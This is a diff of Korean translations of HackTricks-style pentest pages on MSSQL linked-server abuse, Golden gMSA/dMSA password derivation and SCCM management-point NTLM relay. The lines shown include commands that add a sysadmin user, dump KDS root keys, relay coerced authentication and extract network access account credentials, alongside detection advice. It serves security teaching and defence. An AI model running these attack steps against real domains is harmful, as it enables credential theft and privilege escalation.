메타스플로잇은 MSSQL에서 `openquery()` 함수만을 악용하려고 시도합니다 (따라서, `openquery()`로 명령을 실행할 수 없다면, 아래에서 더 자세히 설명하는 `EXECUTE` 방법을 **수동으로** 시도해야 합니다.)
|
||||
메타스플로잇이 MSSQL에서 `openquery()` 함수만 악용하려고 시도한다는 점에 유의하세요 (따라서, `openquery()`로 명령을 실행할 수 없다면, 아래에서 더 자세히 설명하는 `EXECUTE` 방법을 **수동으로** 시도해야 합니다.)
|
||||
|
||||
### 수동 - Openquery()
|
||||
|
||||
@ -252,7 +252,7 @@ EXEC sp_linkedservers;
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
> [!WARNING]
|
||||
> 더블 및 싱글 인용부호가 사용되는 위치를 확인하세요. 이렇게 사용하는 것이 중요합니다.
|
||||
> 더블 및 싱글 인용부호가 사용되는 위치를 확인하세요. 그렇게 사용하는 것이 중요합니다.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -278,7 +278,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
||||
|
||||
**MSSQL 로컬 사용자**는 일반적으로 **`SeImpersonatePrivilege`**라는 특별한 유형의 권한을 가지고 있습니다. 이는 계정이 "인증 후 클라이언트를 가장할 수 있도록" 허용합니다.
|
||||
|
||||
많은 저자들이 제안한 전략은 SYSTEM 서비스가 공격자가 생성한 악성 또는 중간자 서비스에 인증하도록 강제하는 것입니다. 이 악성 서비스는 인증을 시도하는 동안 SYSTEM 서비스를 가장할 수 있습니다.
|
||||
많은 저자들이 제안한 전략 중 하나는 SYSTEM 서비스가 공격자가 생성한 악성 또는 중간자 서비스에 인증하도록 강제하는 것입니다. 이 악성 서비스는 인증을 시도하는 동안 SYSTEM 서비스를 가장할 수 있습니다.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato)에는 Beacon의 `execute-assembly` 명령을 통해 실행할 수 있는 다양한 기술이 모여 있습니다.
|
||||
|
||||
|
@ -10,14 +10,14 @@ Windows Managed Service Accounts (MSA)는 비밀번호를 수동으로 관리할
|
||||
1. **gMSA** – 그룹 Managed Service Account – `msDS-GroupMSAMembership` 속성에 권한이 부여된 여러 호스트에서 사용할 수 있습니다.
|
||||
2. **dMSA** – 위임된 Managed Service Account – gMSA의 (미리보기) 후계자로, 동일한 암호화에 의존하지만 더 세분화된 위임 시나리오를 허용합니다.
|
||||
|
||||
두 변형 모두 **비밀번호는** 일반 NT 해시처럼 각 도메인 컨트롤러(DC)에 저장되지 않습니다. 대신 모든 DC는 다음 세 가지 입력값으로부터 현재 비밀번호를 **즉석에서 파생**할 수 있습니다:
|
||||
두 변형 모두 **비밀번호는 저장되지 않습니다** 각 도메인 컨트롤러(DC)에 일반 NT 해시처럼. 대신 모든 DC는 다음 세 가지 입력값으로부터 현재 비밀번호를 **즉석에서 파생**할 수 있습니다:
|
||||
|
||||
* 포리스트 전체의 **KDS Root Key** (`KRBTGT\KDS`) – 무작위로 생성된 GUID 이름의 비밀로, `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` 컨테이너 아래의 모든 DC에 복제됩니다.
|
||||
* 대상 계정의 **SID**.
|
||||
* `msDS-ManagedPasswordId` 속성에서 찾을 수 있는 계정별 **ManagedPasswordID** (GUID).
|
||||
|
||||
파생 과정은: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 바이트 블롭이 최종적으로 **base64 인코딩**되어 `msDS-ManagedPassword` 속성에 저장됩니다.
|
||||
정상적인 비밀번호 사용 중에는 Kerberos 트래픽이나 도메인 상호작용이 필요하지 않으며, 멤버 호스트는 세 가지 입력값을 알고 있는 한 로컬에서 비밀번호를 파생합니다.
|
||||
정상적인 비밀번호 사용 중에는 Kerberos 트래픽이나 도메인 상호작용이 필요하지 않습니다 – 멤버 호스트는 세 가지 입력값을 알고 있는 한 로컬에서 비밀번호를 파생합니다.
|
||||
|
||||
## Golden gMSA / Golden dMSA 공격
|
||||
|
||||
@ -30,7 +30,7 @@ Windows Managed Service Accounts (MSA)는 비밀번호를 수동으로 관리할
|
||||
|
||||
### 전제 조건
|
||||
|
||||
1. **하나의 DC** (또는 Enterprise Admin)의 **포리스트 수준 손상**, 또는 포리스트 내의 DC 중 하나에 대한 `SYSTEM` 접근.
|
||||
1. **하나의 DC** (또는 Enterprise Admin)에 대한 **포리스트 수준의 손상** 또는 포리스트 내의 DC 중 하나에 대한 `SYSTEM` 접근.
|
||||
2. 서비스 계정을 열거할 수 있는 능력 (LDAP 읽기 / RID 무차별 대입).
|
||||
3. [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) 또는 동등한 코드를 실행할 수 있는 .NET ≥ 4.7.2 x64 워크스테이션.
|
||||
|
||||
@ -55,7 +55,7 @@ GoldenGMSA.exe kdsinfo
|
||||
```
|
||||
`RootKey` (GUID 이름)으로 레이블된 base64 문자열은 이후 단계에서 필요합니다.
|
||||
|
||||
##### Phase 2 – gMSA / dMSA 객체 열거
|
||||
##### 2단계 – gMSA / dMSA 객체 열거
|
||||
|
||||
최소한 `sAMAccountName`, `objectSid` 및 `msDS-ManagedPasswordId`를 검색합니다:
|
||||
```powershell
|
||||
@ -85,7 +85,7 @@ GUID가 128비트이기 때문에 단순한 무차별 대입은 불가능하지
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
도구는 후보 비밀번호를 계산하고 그들의 base64 blob을 실제 `msDS-ManagedPassword` 속성과 비교합니다. 일치하면 올바른 GUID가 드러납니다.
|
||||
도구는 후보 비밀번호를 계산하고 그들의 base64 blob을 실제 `msDS-ManagedPassword` 속성과 비교합니다 – 일치하면 올바른 GUID가 드러납니다.
|
||||
|
||||
##### Phase 4 – 오프라인 비밀번호 계산 및 변환
|
||||
|
||||
@ -100,10 +100,10 @@ GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswor
|
||||
## 탐지 및 완화
|
||||
|
||||
* **DC 백업 및 레지스트리 하이브 읽기** 기능을 Tier-0 관리자에게 제한합니다.
|
||||
* DC에서 **디렉터리 서비스 복원 모드 (DSRM)** 또는 **볼륨 섀도 복사** 생성을 모니터링합니다.
|
||||
* DC에서 **디렉터리 서비스 복원 모드(DSRM)** 또는 **볼륨 섀도 복사** 생성을 모니터링합니다.
|
||||
* 서비스 계정의 `CN=Master Root Keys,…` 및 `userAccountControl` 플래그에 대한 읽기/변경을 감사합니다.
|
||||
* 비정상적인 **base64 비밀번호 쓰기** 또는 호스트 간의 갑작스러운 서비스 비밀번호 재사용을 감지합니다.
|
||||
* Tier-0 격리가 불가능한 경우, 높은 권한의 gMSA를 **클래식 서비스 계정**으로 변환하고 정기적으로 무작위 회전을 고려합니다.
|
||||
* Tier-0 격리가 불가능한 경우, 고급 gMSA를 **클래식 서비스 계정**으로 변환하고 정기적으로 무작위 회전을 고려합니다.
|
||||
|
||||
## 도구
|
||||
|
||||
@ -116,7 +116,7 @@ GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswor
|
||||
|
||||
- [Golden dMSA – 위임된 관리 서비스 계정에 대한 인증 우회](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [gMSA Active Directory 공격 계정](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||
- [Semperis/GoldenDMSA GitHub 리포지토리](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Semperis/GoldenDMSA GitHub 저장소](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – Golden gMSA 신뢰 공격](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -21,13 +21,13 @@
|
||||
---
|
||||
|
||||
## 1. 인증되지 않은 MP 엔드포인트 열거
|
||||
MP ISAPI 확장 **GetAuth.dll**은 인증이 필요 없는 여러 매개변수를 노출합니다(사이트가 PKI 전용이 아닌 경우):
|
||||
MP ISAPI 확장 **GetAuth.dll**는 인증이 필요 없는 여러 매개변수를 노출합니다 (사이트가 PKI 전용이 아닌 경우):
|
||||
|
||||
| 매개변수 | 목적 |
|
||||
|-----------|---------|
|
||||
| `MPKEYINFORMATIONMEDIA` | 사이트 서명 인증서 공개 키 + *x86* / *x64* **모든 알 수 없는 컴퓨터** 장치의 GUID를 반환합니다. |
|
||||
| `MPLIST` | 사이트의 모든 관리 지점을 나열합니다. |
|
||||
| `SITESIGNCERT` | 기본 사이트 서명 인증서를 반환합니다(LDAP 없이 사이트 서버 식별). |
|
||||
| `SITESIGNCERT` | 기본 사이트 서명 인증서를 반환합니다 (LDAP 없이 사이트 서버 식별). |
|
||||
|
||||
나중에 DB 쿼리를 위해 **clientID** 역할을 할 GUID를 가져옵니다:
|
||||
```bash
|
||||
@ -44,7 +44,7 @@ ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
|
||||
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
|
||||
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
|
||||
```
|
||||
강제 조작이 발생하면 다음과 같은 내용을 볼 수 있어야 합니다:
|
||||
강제 실행이 발생하면 다음과 같은 내용을 볼 수 있어야 합니다:
|
||||
```
|
||||
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
|
||||
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
|
||||
@ -56,7 +56,7 @@ SOCKS 프록시를 통해 연결 (기본 포트 1080):
|
||||
```bash
|
||||
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
|
||||
```
|
||||
**CM_<SiteCode>** DB로 전환합니다(3자리 사이트 코드를 사용합니다, 예: `CM_001`).
|
||||
**CM_<SiteCode>** DB로 전환합니다 (3자리 사이트 코드를 사용하세요, 예: `CM_001`).
|
||||
|
||||
### 3.1 알 수 없는 컴퓨터 GUID 찾기 (선택 사항)
|
||||
```sql
|
||||
@ -69,7 +69,7 @@ WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
|
||||
```sql
|
||||
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
|
||||
```
|
||||
각 행은 `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion`을 포함합니다.
|
||||
각 행에는 `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion`이 포함되어 있습니다.
|
||||
|
||||
정책에 집중하세요:
|
||||
* **NAAConfig** – 네트워크 액세스 계정 자격 증명
|
||||
@ -81,7 +81,7 @@ EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''
|
||||
```sql
|
||||
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
||||
```
|
||||
> 중요: SSMS에서 “가져온 최대 문자 수”를 증가시키십시오 (>65535) 그렇지 않으면 blob이 잘립니다.
|
||||
> 중요: SSMS에서 "가져온 최대 문자"를 증가시키세요 (>65535), 그렇지 않으면 blob이 잘릴 수 있습니다.
|
||||
|
||||
---
|
||||
|
||||
@ -127,7 +127,7 @@ AND pe.permission_name='EXECUTE';
|
||||
---
|
||||
|
||||
## 6. 탐지 및 강화
|
||||
1. **MP 로그인 모니터링** – 호스트가 아닌 IP에서 로그인하는 모든 MP 컴퓨터 계정 ≈ 릴레이.
|
||||
1. **MP 로그인 모니터링** – 호스트가 아닌 IP에서 로그인하는 MP 컴퓨터 계정 ≈ 릴레이.
|
||||
2. 사이트 데이터베이스에서 **인증을 위한 확장 보호 (EPA)** 활성화 (`PREVENT-14`).
|
||||
3. 사용하지 않는 NTLM 비활성화, SMB 서명 강제, RPC 제한 (
|
||||
`PetitPotam`/`PrinterBug`에 대해 사용된 동일한 완화 조치).
|
||||
|
Loading…
x
Reference in New Issue
Block a user